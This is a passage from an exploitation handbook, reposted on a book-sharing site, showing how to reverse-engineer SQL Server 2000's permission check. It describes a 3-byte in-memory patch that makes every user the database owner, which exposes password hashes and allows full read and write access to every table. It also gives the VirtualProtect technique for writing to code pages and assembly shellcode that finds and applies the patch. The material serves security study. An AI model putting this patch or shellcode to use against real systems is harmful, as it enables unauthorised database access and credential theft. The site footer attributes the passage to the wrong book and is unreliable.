Modifying the Program

The SQL Server 3-Byte Patch

Our aim is to find some way of disabling access control within the database, so that any attempt to read or write from any column of a table is successful.

Rather than attempting a static analysis of the entire SQL Server codebase , a little debugging up front will probably point us in the right direction.

First, we need a query that will exercise the security routines in the manner we want. The query

 select password from sysxlogins 

will fail if the user is not a sysadmin. So, we start Query Analyzer ”a tool that comes with sql server ”and our debugger (MSVC++ 6.0) and run the query as a low-privileged user . A Microsoft Visual C++ Exception then occurs. Dismissing the exception message box, we hit Debug/Go again and let SQL Server handle the exception. Turning back to Query Analyzer, we see an error message.

 SELECT permission denied on object 'sysxlogins', database 'master', owner 'dbo'. 

In a spirit of curiosity , we try running the query as the sa user. No exception occurs. Clearly, the access control mechanism triggers a C++ exception when access is denied to a table. We can use this fact to greatly simplify our reverse engineering process.

Now we will trace through the code to attempt to find the point in which the code decides whether or not to raise the exception. This is a trial-and-error process, but after a few false starts we find the following:

 00416453 E8 03 FE 00 00       call        FHasObjPermissions (0042625b) 

which, if we do not have permissions, results in this:

 00613D85 E8 AF 85 E5 FF       call        ex_raise (0046c339) 
Note  

It is worth pointing out that we have symbols because they are provided by Microsoft in the file sqlservr .pdb; this is a rare luxury.

Clearly, the FHasObjPermissions function is relevant. Examining it, we see:

 004262BB E8 94 D7 FE FF       call       ExecutionContext::Uid (00413a54) 004262C0 66 3D 01 00          cmp        ax,offset FHasObjPermissions+0B7h (004262c2) 004262C4 0F 85 AC 0C 1F 00    jne        FHasObjPermissions+0C7h (00616f76) 

This equates to:

  • Get the UID .

  • Compare the UID to 0x0001 .

  • If it isn't 0x0001 , jump (after some other checks) to the exception-generating code.

This implies that UID 1 has a special meaning. Examining the sysusers table with:

 select * from sysusers 

we see that UID 1 is dbo , the database owner. Consulting the SQL Server documentation online ( http://doc.ddart.net/ mssql /sql2000/html/setupsql/ad_security_9qyh.htm) , we read that:

The dbo is a user that has implied permissions to perform all activities in the database. Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo . Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically.

Clearly, we want to be UID 1 . A small assembler patch can easily grant this.

Examining the code for ExecutionContext::UID , we find that the default code path is straightforward.

 ?Uid@ExecutionContext@@AEFXZ: 00413A54 56                   push        esi 00413A55 8B F1                mov         esi,ecx 00413A57 8B 06                mov         eax,dword ptr [esi] 00413A59 8B 40 48             mov         eax,dword ptr [eax+48h] 00413A5C 85 C0                test        eax,eax 00413A5E 0F 84 6E 59 24 00    je          ExecutionContext::Uid+0Ch (006593d2) 00413A64 8B 0D 70 2B A0 00    mov         ecx,dword ptr [__tls_index (00a02b70)] 00413A6A 64 8B 15 2C 00 00 00 mov         edx,dword ptr fs:[2Ch] 00413A71 8B 0C 8A             mov         ecx,dword ptr [edx+ecx*4] 00413A74 39 71 08             cmp         dword ptr [ecx+8],esi 00413A77 0F 85 5B 59 24 00    jne         ExecutionContext::Uid+2Ah (006593d8) 00413A7D F6 40 06 01          test        byte ptr [eax+6],1 00413A81 74 1A                je          ExecutionContext::Uid+3Bh (00413a9d) 00413A83 8B 06                mov         eax,dword ptr [esi] 00413A85 8B 40 48             mov         eax,dword ptr [eax+48h] 00413A88 F6 40 06 01          test        byte ptr [eax+6],1 00413A8C 0F 84 6A 59 24 00    je          ExecutionContext::Uid+63h (006593fc) 00413A92 8B 06                mov         eax,dword ptr [esi] 00413A94 8B 40 48             mov         eax,dword ptr [eax+48h] 00413A97 66 8B 40 02          mov         ax,word ptr [eax+2] 00413A9B 5E                   pop         esi 00413A9C C3                   ret 

The point of interest here is the line:

 00413A97 66 8B 40 02          mov         ax,word ptr [eax+2] 

This code is assigning to AX , our magic UID code.

To recap, we found in FHasObjPermissions code that calls the function ExecutionContext::UID and appears to give special access to the hardcoded UID 1 . We can easily patch this code so that every user has UID 1 by replacing

 00413A97 66 8B 40 02          mov         ax,word ptr [eax+2] 

with this new instruction:

 00413A97 66 B8 01 00         mov        ax,offset  ExecutionContext::Uid+85h (00413a99) 

This is effectively mov ax, 1 . Testing the effectiveness of this, we find that any user can now run

 select password from sysxlogins 

At the very least, this gives everyone access to the password hashes and thereby (via a password-cracking utility) access to the passwords for all the accounts in the database.

Testing access to other tables, we find that we can now select, insert, update, and delete from any table in the database as any user. This feat has been achieved by patching only 3 bytes of SQL Server code.

Now that we have a clear understanding of our patch, we need to create an exploit that carries out the patch without incurring an error. A number of arbitrary code overflows and format string bugs are known in SQL Server; this chapter will not go into the specifics of those issues. There are a few problems related to writing this kind of exploit that invite discussion, however.

First, the exploit code cannot simply overwrite the code in memory. Windows NT can apply access controls to pages in memory, and code pages are typically marked as PAGE_EXECUTE_READ; an attempt to modify the code results in an access violation.

This problem is easily resolved using the VirtualProtect function.

 ret = VirtualProtect( address, num_bytes_to_change,  PAGE_EXECUTE_READWRITE, &old_protection_value ); 

The exploit simply calls VirtualProtect to mark the page as writeable and then overwrites the bytes in memory.

If the bytes that we are patching reside in a DLL, they may be relocated in memory in a dynamic fashion. Similarly, different patch levels of SQL Server will move the patch target around, so the exploit code should attempt to find the bytes in memory rather than just patching an absolute address.

Here is an example exploit that does roughly what has been described above, with hardcoded addresses for Windows 2000 Service Pack 2. This code is deplorably basic and intended for demonstration purposes only.

 mov ecx, 0xc35e0240           mov edx, 0x8b664840           mov eax, 0x00400000 next:           cmp eax, 0x00600000           je end           inc eax           cmp dword ptr[eax], edx           je found           jmp next found:           cmp dword ptr[eax + 4], ecx           je foundboth           jmp next foundboth:           mov ebx,eax               ; save eax                               ; (virtualprotect then write)           push esp           push 0x40               ; PAGE_EXECUTE_READWRITE           push 8               ; number of bytes to unprotect           push eax               ; start address to unprotect           mov eax, 0x77e8a6ec     ; address of VirtualProtect           call eax           mov eax, ebx          ; get the address back           mov dword ptr[eax],0xb8664840            mov dword ptr[eax+4],0xc35e0001 end:           xor eax, eax           call eax     ; SQL Server handles the exception with                     ; no problem so we don't need to worry                     ; about continuation of execution! 


The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz
BUY ON AMAZON

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net